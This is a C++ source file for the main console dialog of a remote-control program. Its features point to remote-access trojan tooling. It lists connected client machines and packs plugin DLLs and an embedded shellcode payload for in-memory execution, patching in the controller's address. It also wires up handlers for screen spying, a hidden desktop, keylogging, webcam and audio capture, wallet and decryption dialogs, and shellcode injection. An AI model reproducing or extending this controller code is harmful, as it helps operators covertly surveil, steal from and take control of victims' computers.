// 2015RemoteDlg.cpp : 实现文件
//

#include "stdafx.h"
#include "2015Remote.h"
#include "2015RemoteDlg.h"
#include "afxdialogex.h"
#include "SettingDlg.h"
#include "IOCPServer.h"
#include "ScreenSpyDlg.h"
#include "FileManagerDlg.h"
#include "TalkDlg.h"
#include "ShellDlg.h"
#include "TerminalDlg.h"
#include "SystemDlg.h"
#include "BuildDlg.h"
#include "AudioDlg.h"
#include "RegisterDlg.h"
#include "ServicesDlg.h"
#include "VideoDlg.h"
#include <vector>
#include <map>
#include <mutex>
#include <filesystem>
#include "KeyBoardDlg.h"
#include "InputDlg.h"
#include "CPasswordDlg.h"
#include "FeatureFlags.h"
#include "FeatureLimitsDlg.h"
#include "LicenseFile.h"
#include "pwd_gen.h"
#include "CrashReport.h"
#include "common/location.h"
#include <proxy/ProxyMapDlg.h>
#include "common/DateVerify.h"
#include "common/IPWhitelist.h"
#include "common/IPBlacklist.h"
#include <fstream>
#include <iomanip>
#include <sstream>
#include "common/skCrypter.h"
#include "common/commands.h"
#include "common/md5.h"
#include <algorithm>
#include <set>
#include <atomic>
#include "HideScreenSpyDlg.h"
#include <sys/MachineDlg.h>
#include "Chat.h"
#include "DecryptDlg.h"
#include "adapter.h"
#include "client/MemoryModule.h"
#include <file/CFileManagerDlg.h>
#include "CDrawingBoard.h"
#include "CWalletDlg.h"
#include "NetworkDlg.h"
#include <wallet.h>
#include "CRcEditDlg.h"
#include <thread>
#include "common/file_upload.h"
#include "SplashDlg.h"
#include "SearchBarDlg.h"
#include <ServerServiceWrapper.h>
#include "CDlgFileSend.h"
#include "CClientListDlg.h"
#include "CUpdateDlg.h"
#include "CLicenseDlg.h"
#include "NotifyManager.h"
#include "NotifySettingsDlg.h"
#include "FrpsForSubDlg.h"
#include "common/key.h"
#include "UIBranding.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif

#define UM_ICONNOTIFY WM_USER+100
#define TIMER_CHECK 1
#define TIMER_CLOSEWND 2
#define TIMER_CLEAR_BALLOON 3
#define TIMER_HEARTBEAT_CHECK 4
#define TIMER_REFRESH_LIST 5
#define TIMER_STATUSBAR_UPDATE 6
#define TIMER_STATUSBAR_INIT 7
#define TODO_NOTICE MessageBoxL("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
#define TINY_DLL_NAME "TinyRun.dll"
#define FRPC_DLL_NAME "Frpc.dll"

// 离线通知信息结构体 (用于 OfflineProc -> OnUserOfflineMsg 通信)
struct OfflineInfo {
    HWND hWnd;
    CString ip;
    std::string aliveInfo;
    bool hasLogin;
};

// DLL 请求限流配置 (缓存，避免频繁读取注册表)
static struct {
    int limitSeconds = 3600;
    int limitCount = 4;
    bool loaded = false;
} g_DllRateLimitConfig;

void ReloadDllRateLimitConfig() {
    g_DllRateLimitConfig.limitSeconds = THIS_CFG.GetInt("settings", "DllLimitSeconds", 3600);
    g_DllRateLimitConfig.limitCount = THIS_CFG.GetInt("settings", "DllLimitCount", 4);
    g_DllRateLimitConfig.loaded = true;
}

static int GetDllRateLimitSeconds() {
    if (!g_DllRateLimitConfig.loaded) ReloadDllRateLimitConfig();
    return g_DllRateLimitConfig.limitSeconds;
}
static int GetDllRateLimitCount() {
    if (!g_DllRateLimitConfig.loaded) ReloadDllRateLimitConfig();
    return g_DllRateLimitConfig.limitCount;
}

typedef struct {
    const char*   szTitle;     //列表的名称
    int		nWidth;            //列表的宽度
} COLUMNSTRUCT;

const int  g_Column_Count_Online  = ONLINELIST_MAX; // 报表的列数

COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {
    {"IP",				130	},
    {"端口",			60	},
    {"地理位置",		130	},
    {"计算机名/备注",	150	},
    {"操作系统",		120	},
    {"CPU",				80	},
    {"摄像头",			70	},
    {"RTT",				70	},
    {"版本",			90	},
    {"安装时间",        120 },
    {"活动窗口",		140 },
    {"类型",			50 },
};

// 用于应用程序“关于”菜单项的 CAboutDlg 对话框

const int g_Column_Count_Message = 3;   // 列表的个数

COLUMNSTRUCT g_Column_Data_Message[g_Column_Count_Message] = {
    {"信息类型",		200	},
    {"时间",			200	},
    {"信息内容",	    490	}
};

int g_Column_Online_Width  = 0;
int g_Column_Message_Width = 0;

CMy2015RemoteDlg*  g_2015RemoteDlg = NULL;

// 全局程序退出标志 - 用于通知所有分离线程停止运行
// 这个标志必须是全局的，因为对话框销毁后，成员变量 isClosed 将不可访问
std::atomic<bool> g_bAppExiting{false};

// 服务端待续传传输状态
std::map<uint64_t, PendingTransferV2> g_pendingTransfersV2;
std::mutex g_pendingTransfersV2Mtx;

// 检查客户端是否支持 V2 文件传输协议
bool SupportsFileTransferV2(context* ctx) {
    if (!g_2015RemoteDlg || !g_2015RemoteDlg->m_bEnableFileV2) return false;
    if (!ctx) return false;
    // 优先使用能力位检测（新客户端），回退到版本日期检测（旧客户端）
    if (ctx->SupportsFileV2()) return true;
    CString version = ctx->GetClientData(ONLINELIST_VERSION);
    return IsDateGreaterOrEqual(version, FILE_TRANSFER_V2_DATE);
}

// 授权日志频率控制：首次必须记录，状态变化必须记录，相同状态每小时记录一次
static bool ShouldLogAuth(const std::string& sn, bool success) {
    struct AuthLogState {
        bool lastStatus;
        time_t lastLogTime;
    };
    static std::map<std::string, AuthLogState> s_cache;
    static CRITICAL_SECTION s_lock;
    static std::once_flag s_initFlag;
    std::call_once(s_initFlag, []() {
        InitializeCriticalSection(&s_lock);
    });

    EnterCriticalSection(&s_lock);
    time_t now = time(nullptr);
    bool shouldLog = false;

    auto it = s_cache.find(sn);
    if (it == s_cache.end()) {
        // 首次 - 必须记录
        s_cache[sn] = {success, now};
        shouldLog = true;
    } else {
        AuthLogState& state = it->second;
        if (state.lastStatus != success) {
            // 状态变化 - 必须记录
            state.lastStatus = success;
            state.lastLogTime = now;
            shouldLog = true;
        } else if (now - state.lastLogTime >= 3600) {
            // 相同状态，超过1小时 - 记录
            state.lastLogTime = now;
            shouldLog = true;
        }
    }
    LeaveCriticalSection(&s_lock);
    return shouldLog;
}

static UINT Indicators[] = {
    IDR_STATUSBAR_STRING,
    IDR_STATUSBAR_FRP,       // FRP 地址（由上级提供）
    IDR_STATUSBAR_RUNTIME,
    IDR_STATUSBAR_EXPIRE
};

std::string EventName()
{
    char eventName[64];
    snprintf(eventName, sizeof(eventName), "EVENT_%d", GetCurrentProcessId());
    return eventName;
}
std::string PluginPath()
{
    char path[_MAX_PATH];
    GetModuleFileNameA(NULL, path, _MAX_PATH);
    GET_FILEPATH(path, "Plugins");
    return path;
}

//////////////////////////////////////////////////////////////////////////

class CAboutDlg : public CDialogLangEx
{
public:
    CAboutDlg();

    // 对话框数据
    enum { IDD = IDD_ABOUTBOX };

protected:
    virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV 支持
    virtual BOOL OnInitDialog();

    // 实现
protected:
    DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialogLangEx(CAboutDlg::IDD)
{
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
    __super::DoDataExchange(pDX);
}

BOOL CAboutDlg::OnInitDialog()
{
    __super::OnInitDialog();
    // 多语言翻译 - Static控件
    SetDlgItemText(IDC_STATIC_ABOUTBOX_YamaV12_2340, _TR(BRAND_APP_NAME "，V") + VERSION_STR);
    SetDlgItemText(IDC_STATIC_ABOUTBOX_Copyleft__2341, _TR(BRAND_COPYRIGHT));

    // 设置对话框标题和控件文本（解决英语系统乱码问题）
    SetWindowText(_TR("关于") + CString(BRAND_SPLASH_NAME_W));
    SetDlgItemText(IDOK, _TR("确定"));

    return TRUE;
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx)
END_MESSAGE_MAP()


// CMy2015RemoteDlg 对话框

std::string GetDbPath()
{
    static char path[MAX_PATH], *name = BRAND_DB_NAME;
    static std::string ret = (FAILED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, path)) ? "." : path)
                             + std::string("\\" BRAND_DATA_FOLDER "\\");
    static BOOL ok = CreateDirectoryA(ret.c_str(), NULL);
    static std::string dbPath = ret + name;
    return dbPath;
}

std::string GetFrpSettingsPath()
{
#ifdef _DEBUG
    char path[MAX_PATH];
    GetModuleFileNameA(NULL, path, MAX_PATH);
    GET_FILEPATH(path, "frpc.ini");
    return path;
#else
    static char path[MAX_PATH], * name = "frpc.ini";
    static std::string ret = (FAILED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, path)) ? "." : path)
                             + std::string("\\" BRAND_DATA_FOLDER "\\");
    static BOOL ok = CreateDirectoryA(ret.c_str(), NULL);
    static std::string p = ret + name;
    return p;
#endif
}

// 从 master 配置中获取第一个 IP（支持分号分隔的多 IP 格式）
std::string GetFirstMasterIP(const std::string& master)
{
    if (master.empty()) return "";
    auto pos = master.find(';');
    return pos != std::string::npos ? master.substr(0, pos) : master;
}

std::string GetFileName(const char* filepath)
{
    const char* slash1 = strrchr(filepath, '/');
    const char* slash2 = strrchr(filepath, '\\');
    const char* slash = slash1 > slash2 ? slash1 : slash2;
    return slash ? slash + 1 : filepath;
}

bool IsDll64Bit(BYTE* dllBase)
{
    if (!dllBase) return false;

    auto dos = (IMAGE_DOS_HEADER*)dllBase;
    if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
        Mprintf("Invalid DOS header\n");
        return false;
    }

    auto nt = (IMAGE_NT_HEADERS*)(dllBase + dos->e_lfanew);
    if (nt->Signature != IMAGE_NT_SIGNATURE) {
        Mprintf("Invalid NT header\n");
        return false;
    }

    WORD magic = nt->OptionalHeader.Magic;
    return magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC;
}

// 返回：读取的字节数组指针（需要手动释放）
DllInfo* ReadPluginDll(const std::string& filename, const DllExecuteInfo & execInfo = { MEMORYDLL, 0, CALLTYPE_IOCPTHREAD })
{
    // 打开文件（以二进制模式）
    std::ifstream file(filename, std::ios::binary | std::ios::ate);
    std::string name = GetFileName(filename.c_str());
    if (!file.is_open() || name.length() >= 32) {
        Mprintf("无法打开文件: %s\n", filename.c_str());
        return nullptr;
    }

    // 获取文件大小
    std::streamsize fileSize = file.tellg();
    file.seekg(0, std::ios::beg);

    // 分配缓冲区: CMD + DllExecuteInfo + size
    BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize];
    BYTE* dllData = buffer + 1 + sizeof(DllExecuteInfo);
    if (!file.read(reinterpret_cast<char*>(dllData), fileSize)) {
        Mprintf("读取文件失败: %s\n", filename.c_str());
        delete[] buffer;
        return nullptr;
    }
    std::string masterHash(GetMasterHash());
    int offset = MemoryFind((char*)dllData, masterHash.c_str(), fileSize, masterHash.length());
    if (offset != -1) {
        std::string masterId = GetPwdHash(), hmac = GetHMAC();

        memcpy((char*)dllData + offset, masterId.c_str(), masterId.length());
        memcpy((char*)dllData + offset + masterId.length(), hmac.c_str(), hmac.length());
    }

    // 设置输出参数
    auto md5 = CalcMD5FromBytes(dllData, fileSize);
    DllExecuteInfo info = execInfo;
    info.Size = fileSize;
    info.Is32Bit = !IsDll64Bit(dllData);
    memcpy(info.Name, name.c_str(), name.length());
    memcpy(info.Md5, md5.c_str(), md5.length());
    buffer[0] = CMD_EXECUTE_DLL;
    memcpy(buffer + 1, &info, sizeof(DllExecuteInfo));
    Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfo) + fileSize, 0, md5);
    SAFE_DELETE_ARRAY(buffer);
    return new DllInfo{ name, buf };
}

DllInfo* ReadTinyRunDll(int pid)
{
    std::string name = TINY_DLL_NAME;
    DWORD fileSize = 0;
    BYTE * dllData = ReadResource(IDR_TINYRUN_X64, fileSize);
    std::string s(skCrypt(FLAG_FINDEN)), ip, port;
    int offset = MemoryFind((char*)dllData, s.c_str(), fileSize, s.length());
    if (offset != -1) {
        std::string ip = GetFirstMasterIP(THIS_CFG.GetStr("settings", "master", ""));
        int nPort = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
        std::string master = ip.empty() ? "" : ip + ":" + std::to_string(nPort);
        CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(dllData + offset);
        if (!master.empty()) {
            splitIpPort(master, ip, port);
            server->SetServer(ip.c_str(), atoi(port.c_str()));
            server->SetAdminId(GetMasterHash().c_str());
            server->iType = CLIENT_TYPE_MEMDLL;
            server->parentHwnd = g_2015RemoteDlg ? (uint64_t)g_2015RemoteDlg->GetSafeHwnd() : 0;
            memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
        }
    }
    // 设置输出参数
    auto md5 = CalcMD5FromBytes(dllData, fileSize);
    DllExecuteInfo info = { SHELLCODE, fileSize, CALLTYPE_DEFAULT, {}, {}, pid };
    memcpy(info.Name, name.c_str(), name.length());
    memcpy(info.Md5, md5.c_str(), md5.length());
    BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize];
    buffer[0] = CMD_EXECUTE_DLL;
    memcpy(buffer + 1, &info, sizeof(DllExecuteInfo));
    memcpy(buffer + 1 + sizeof(DllExecuteInfo), dllData, fileSize);
    Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfo) + fileSize, 0, md5);
    SAFE_DELETE_ARRAY(dllData);
    SAFE_DELETE_ARRAY(buffer);
    return new DllInfo{ name, buf };
}

DllInfo* ReadFrpcDll(int callType)
{
    std::string name = FRPC_DLL_NAME;
    DWORD fileSize = 0;
    BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize);
    // 设置输出参数
    auto md5 = CalcMD5FromBytes(dllData, fileSize);
    DllExecuteInfoNew info = { MEMORYDLL, fileSize, callType };
    memcpy(info.Name, name.c_str(), name.length());
    memcpy(info.Md5, md5.c_str(), md5.length());
    BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize];
    buffer[0] = CMD_EXECUTE_DLL_NEW;
    memcpy(buffer + 1, &info, sizeof(DllExecuteInfoNew));
    memcpy(buffer + 1 + sizeof(DllExecuteInfoNew), dllData, fileSize);
    Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfoNew) + fileSize, 0, md5);
    SAFE_DELETE_ARRAY(dllData);
    SAFE_DELETE_ARRAY(buffer);
    return new DllInfo{ name, buf };
}

std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath)
{
    std::vector<DllInfo*> result;

    std::string searchPath = dirPath + "\\*.dll";
    WIN32_FIND_DATAA findData;
    HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData);

    if (hFind == INVALID_HANDLE_VALUE) {
        Mprintf("无法打开目录: %s\n", dirPath.c_str());
        return result;
    }

    do {
        if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
            std::string fullPath = dirPath + "\\" + findData.cFileName;
            DllInfo* dll = ReadPluginDll(fullPath.c_str());
            if (dll) {
                result.push_back(dll);
            }
        }
    } while (FindNextFileA(hFind, &findData));

    FindClose(hFind);
    return result;
}

std::string GetParentDir()
{
    char exePath[MAX_PATH];
    GetModuleFileNameA(NULL, exePath, MAX_PATH);

    std::string path(exePath);

    // 找到最后一个反斜杠，得到程序目录
    size_t pos = path.find_last_of("\\/");
    if (pos != std::string::npos) {
        path = path.substr(0, pos); // 程序目录
    }

    // 再往上一级
    pos = path.find_last_of("\\/");
    if (pos != std::string::npos) {
        path = path.substr(0, pos);
    }

    return path;
}

std::string CMy2015RemoteDlg::GetHardwareID(int v)
{
    int bindType = v == -1 ? THIS_CFG.GetInt("settings", "BindType", 0) : v;
    switch (bindType) {
    case 0: {
        // Hardware binding: check HWIDVersion for V1/V2
        int hwVersion = THIS_CFG.GetInt("settings", "HWIDVersion", 0);
        if (hwVersion == 2) {
            static auto hardwareID = getHardwareID_V2();
            return hardwareID;
        } else {
            static auto hardwareID = getHardwareID();
            return hardwareID;
        }
    }
    case 1: {
        std::string master = THIS_CFG.GetStr("settings", "master");
        if (!master.empty()) return master;
        std::string id = g_2015RemoteDlg ? g_2015RemoteDlg->m_IPConverter->getPublicIP() : "";
        return id;
    }
    default:
        return "";
    }
}

CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDlg::IDD, pParent)
{
    m_ClientMap = NewClientList();
    g_StartTick = GetTickCount();
    auto s = GetMasterHash();
    char buf[17] = { 0 };
    std::strncpy(buf, s.c_str(), 16);
    m_superID = std::strtoull(buf, NULL, 16);

    m_nMaxConnection = 2;
    m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL);
    m_hIcon = THIS_APP->LoadIcon(IDR_MAINFRAME);

    m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
    m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
    m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
    m_bmOnline[3].LoadBitmap(IDB_BITMAP_SHARE);
    m_bmOnline[4].LoadBitmap(IDB_BITMAP_PROXY);
    m_bmOnline[5].LoadBitmap(IDB_BITMAP_HOSTNOTE);
    m_bmOnline[6].LoadBitmap(IDB_BITMAP_VDESKTOP);
    m_bmOnline[7].LoadBitmap(IDB_BITMAP_GDESKTOP);
    m_bmOnline[8].LoadBitmap(IDB_BITMAP_DDESKTOP);
    m_bmOnline[9].LoadBitmap(IDB_BITMAP_SDESKTOP);
    m_bmOnline[10].LoadBitmap(IDB_BITMAP_AUTHORIZE);
    m_bmOnline[11].LoadBitmap(IDB_BITMAP_UNAUTH);
    m_bmOnline[12].LoadBitmap(IDB_BITMAP_ASSIGNTO);
    m_bmOnline[13].LoadBitmap(IDB_BITMAP_ADDWATCH);
    m_bmOnline[14].LoadBitmap(IDB_BITMAP_ADMINRUN);
    m_bmOnline[15].LoadBitmap(IDB_BITMAP_UNINSTALL);
    m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP);
    m_bmOnline[17].LoadBitmap(IDB_BITMAP_REGROUP);
    m_bmOnline[18].LoadBitmap(IDB_BITMAP_INJECT);
    m_bmOnline[19].LoadBitmap(IDB_BITMAP_PORTPROXY);
    m_bmOnline[20].LoadBitmap(IDB_BITMAP_LOGINNOTIFY);
    // New menu icons for session management and port proxy
    m_bmOnline[21].LoadBitmap(IDB_BITMAP_SHUTDOWN);
    m_bmOnline[22].LoadBitmap(IDB_BITMAP_REBOOT);
    m_bmOnline[23].LoadBitmap(IDB_BITMAP_LOGOUT);
    m_bmOnline[24].LoadBitmap(IDB_BITMAP_PORTPROXY_STD);
    // Tray menu icons
    m_bmOnline[25].LoadBitmap(IDB_BITMAP_SHOW);
    m_bmOnline[26].LoadBitmap(IDB_BITMAP_EXIT);
    // Main menu icons
    m_bmOnline[27].LoadBitmap(IDB_BITMAP_SETTINGS);
    m_bmOnline[28].LoadBitmap(IDB_BITMAP_WALLET);
    m_bmOnline[29].LoadBitmap(IDB_BITMAP_NETWORK);
    m_bmOnline[30].LoadBitmap(IDB_BITMAP_INPUTPASSWORD);
    m_bmOnline[31].LoadBitmap(IDB_BITMAP_IMPORTLICENSE);
    m_bmOnline[32].LoadBitmap(IDB_BITMAP_PEEDIT);
    m_bmOnline[33].LoadBitmap(IDB_BITMAP_AUTHGEN);
    m_bmOnline[34].LoadBitmap(IDB_BITMAP_GENMASTER);
    m_bmOnline[35].LoadBitmap(IDB_BITMAP_LICENSEMGR);
    m_bmOnline[36].LoadBitmap(IDB_BITMAP_KEYBOARD);
    m_bmOnline[37].LoadBitmap(IDB_BITMAP_NOTIFY_MENU);
    m_bmOnline[38].LoadBitmap(IDB_BITMAP_LOG);
    m_bmOnline[39].LoadBitmap(IDB_BITMAP_HISTORY);
    m_bmOnline[40].LoadBitmap(IDB_BITMAP_BACKUP);
    m_bmOnline[41].LoadBitmap(IDB_BITMAP_IMPORT);
    m_bmOnline[42].LoadBitmap(IDB_BITMAP_LANGUAGE);
    m_bmOnline[43].LoadBitmap(IDB_BITMAP_REFRESH);
    m_bmOnline[44].LoadBitmap(IDB_BITMAP_PLUGIN);
    m_bmOnline[45].LoadBitmap(IDB_BITMAP_FRP);
    m_bmOnline[46].LoadBitmap(IDB_BITMAP_HELP);
    m_bmOnline[47].LoadBitmap(IDB_BITMAP_FEEDBACK);
    m_bmOnline[48].LoadBitmap(IDB_BITMAP_TRIAL);
    m_bmOnline[49].LoadBitmap(IDB_BITMAP_REQUESTAUTH);
    m_bmOnline[50].LoadBitmap(IDB_BITMAP_CANCELSHARE);

    for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
        m_ServerDLL[i] = nullptr;
        m_ServerBin[i] = nullptr;
    }

    InitializeCriticalSection(&m_cs);

    // Init DLL list
    char path[_MAX_PATH];
    GetModuleFileNameA(NULL, path, _MAX_PATH);
    GET_FILEPATH(path, "Plugins");
    m_DllList = ReadAllDllFilesWindows(path);
    m_tinyDLL = NULL;
    auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins");
    m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end());
    m_TraceTime= THIS_CFG.GetInt("settings", "TraceTime", 1000);
}


CMy2015RemoteDlg::~CMy2015RemoteDlg()
{
    SAFE_DELETE(m_ClientMap);
    DeleteCriticalSection(&m_cs);
    DeleteCriticalSection(&m_DllRateLimitLock);
    for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
        SAFE_DELETE(m_ServerDLL[i]);
        SAFE_DELETE(m_ServerBin[i]);
        SAFE_DELETE(m_TinyRun[i]);
    }
    for (int i = 0; i < m_DllList.size(); i++) {
        SAFE_DELETE(m_DllList[i]);
    }
    if (m_tinyDLL) {
        MemoryFreeLibrary(m_tinyDLL);
        m_tinyDLL = NULL;
    }
    if (m_pSearchBar) {
        m_pSearchBar->DestroyWindow();
        SAFE_DELETE(m_pSearchBar);
    }
}

// DLL 请求限流成员函数实现 (根据配置限制请求频率)
bool CMy2015RemoteDlg::IsDllRequestLimited(const std::string& ip)
{
    // 白名单 IP 不限流
    if (IPWhitelist::getInstance().IsWhitelisted(ip)) {
        return false;
    }

    // 黑名单 IP 直接拒绝
    if (IPBlacklist::getInstance().IsBlacklisted(ip)) {
        // 防刷频日志
        if (IPBlacklist::getInstance().ShouldLog(ip)) {
            Mprintf("'%s' DLL request rejected (blacklisted)\n", ip.c_str());
            char tip[256];
            sprintf_s(tip, _TRF("IP %s DLL 请求被拒绝 (黑名单)"), ip.c_str());
            PostMessageA(WM_SHOWERRORMSG, (LPARAM)new CString(tip), (WPARAM)new CString(_TR("黑名单")));
        }
        return true;
    }

    CLock lock(m_DllRateLimitLock);
    time_t now = time(nullptr);
    time_t cutoff = now - GetDllRateLimitSeconds();

    auto it = m_DllRequestTimes.find(ip);
    if (it != m_DllRequestTimes.end()) {
        // 清理过期记录
        auto& times = it->second;
        times.erase(std::remove_if(times.begin(), times.end(),
            [cutoff](time_t t) { return t < cutoff; }), times.end());

        // 如果全部过期，删除条目释放内存
        if (times.empty()) {
            m_DllRequestTimes.erase(it);
            return false;
        }

        // 检查是否达到限制
        if (times.size() >= (size_t)GetDllRateLimitCount()) {
            Mprintf("'%s' DLL request rate limited (%d requests in last hour)\n",
                    ip.c_str(), (int)times.size());

            // 发送到主窗口信息列表
            char tip[256];
            sprintf_s(tip, _TRF("IP %s DLL 请求被限流 (已请求 %d 次/小时)"), ip.c_str(), (int)times.size());
            PostMessageA(WM_SHOWERRORMSG, (LPARAM)new CString(tip), (WPARAM)new CString(_TR("DLL 限流")));
            return true;
        }
    }
    return false;
}

void CMy2015RemoteDlg::RecordDllRequest(const std::string& ip)
{
    // 白名单 IP 不记录，避免浪费内存
    if (IPWhitelist::getInstance().IsWhitelisted(ip)) {
        return;
    }

    CLock lock(m_DllRateLimitLock);
    m_DllRequestTimes[ip].push_back(time(nullptr));
}

void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX)
{
    __super::DoDataExchange(pDX);
    m_CList_Online.SetVirtualMode(TRUE);  // 必须在 DDX_Control 前设置
    DDX_Control(pDX, IDC_ONLINE, m_CList_Online);
    DDX_Control(pDX, IDC_MESSAGE, m_CList_Message);
    DDX_Control(pDX, IDC_GROUP_TAB, m_GroupTab);
}

BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
    ON_WM_SYSCOMMAND()
    ON_WM_PAINT()
    ON_WM_QUERYDRAGICON()
    ON_WM_SIZE()
    ON_WM_EXITSIZEMOVE()
    ON_WM_TIMER()
    ON_WM_CLOSE()
    ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
    ON_NOTIFY(LVN_GETDISPINFO, IDC_ONLINE, &CMy2015RemoteDlg::OnGetDispInfo)
    ON_NOTIFY(HDN_ITEMCLICK, 0, &CMy2015RemoteDlg::OnHdnItemclickList)
    ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
    ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
    ON_COMMAND(ID_ONLINE_UPDATE, &CMy2015RemoteDlg::OnOnlineUpdate)
    ON_COMMAND(IDM_ONLINE_ABOUT, &CMy2015RemoteDlg::OnAbout)
    ON_COMMAND(ID_HELP, &CMy2015RemoteDlg::OnAbout)
    ON_COMMAND(ID_TOOLBAR_SEARCH, &CMy2015RemoteDlg::OnToolbarSearch)

    ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager)
    ON_COMMAND(IDM_ONLINE_PROCESS, &CMy2015RemoteDlg::OnOnlineProcessManager)
    ON_COMMAND(IDM_ONLINE_WINDOW, &CMy2015RemoteDlg::OnOnlineWindowManager)
    ON_COMMAND(IDM_ONLINE_DESKTOP, &CMy2015RemoteDlg::OnOnlineDesktopManager)
    ON_COMMAND(IDM_ONLINE_FILE, &CMy2015RemoteDlg::OnOnlineFileManager)
    ON_COMMAND(IDM_ONLINE_AUDIO, &CMy2015RemoteDlg::OnOnlineAudioManager)
    ON_COMMAND(IDM_ONLINE_VIDEO, &CMy2015RemoteDlg::OnOnlineVideoManager)
    ON_COMMAND(IDM_ONLINE_SERVER, &CMy2015RemoteDlg::OnOnlineServerManager)
    ON_COMMAND(IDM_ONLINE_REGISTER, &CMy2015RemoteDlg::OnOnlineRegisterManager)
    ON_COMMAND(IDM_KEYBOARD, &CMy2015RemoteDlg::OnOnlineKeyboardManager)
    ON_COMMAND(IDM_ONLINE_BUILD, &CMy2015RemoteDlg::OnOnlineBuildClient)    //生成Client
    ON_MESSAGE(UM_ICONNOTIFY, (LRESULT(__thiscall CWnd::*)(WPARAM, LPARAM))OnIconNotify)
    ON_COMMAND(IDM_NOTIFY_SHOW, &CMy2015RemoteDlg::OnNotifyShow)
    ON_COMMAND(ID_NOTIFY_EXIT, &CMy2015RemoteDlg::OnNotifyExit)
    ON_COMMAND(ID_MAIN_SET, &CMy2015RemoteDlg::OnMainSet)
    ON_COMMAND(ID_MAIN_EXIT, &CMy2015RemoteDlg::OnMainExit)
    ON_MESSAGE(WM_USERTOONLINELIST, OnUserToOnlineList)
    ON_MESSAGE(WM_USEROFFLINEMSG, OnUserOfflineMsg)
    ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
    ON_MESSAGE(WM_OPENFILEMANAGERDIALOG, OnOpenFileManagerDialog)
    ON_MESSAGE(WM_OPENTALKDIALOG, OnOpenTalkDialog)
    ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
    ON_MESSAGE(WM_OPENTERMINALDIALOG, OnOpenTerminalDialog)
    ON_MESSAGE(WM_OPENSYSTEMDIALOG, OnOpenSystemDialog)
    ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
    ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)
    ON_MESSAGE(WM_OPENREGISTERDIALOG, OnOpenRegisterDialog)
    ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog)
    ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage)
    ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog)
    ON_MESSAGE(WM_OPENPROXYDIALOG, OnOpenProxyDialog)
    ON_MESSAGE(WM_OPENHIDESCREENDLG, OnOpenHideScreenDialog)
    ON_MESSAGE(WM_OPENMACHINEMGRDLG, OnOpenMachineManagerDialog)
    ON_MESSAGE(WM_OPENCHATDIALOG, OnOpenChatDialog)
    ON_MESSAGE(WM_OPENDECRYPTDIALOG, OnOpenDecryptDialog)
    ON_MESSAGE(WM_OPENFILEMGRDIALOG, OnOpenFileMgrDialog)
    ON_MESSAGE(WM_OPENDRAWINGBOARD, OnOpenDrawingBoard)
    ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
    ON_MESSAGE(WM_PASSWORDCHECK, OnPasswordCheck)
    ON_MESSAGE(WM_SHOWMESSAGE, OnShowMessage)
    ON_MESSAGE(WM_SHOWNOTIFY, OnShowNotify)
    ON_MESSAGE(WM_SHOWERRORMSG, OnShowErrMessage)
    ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
    ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
    ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
    ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
    ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
    ON_MESSAGE(WM_UPDATE_ACTIVEWND, UpdateUserEvent)
    ON_WM_HELPINFO()
    ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
    ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth)
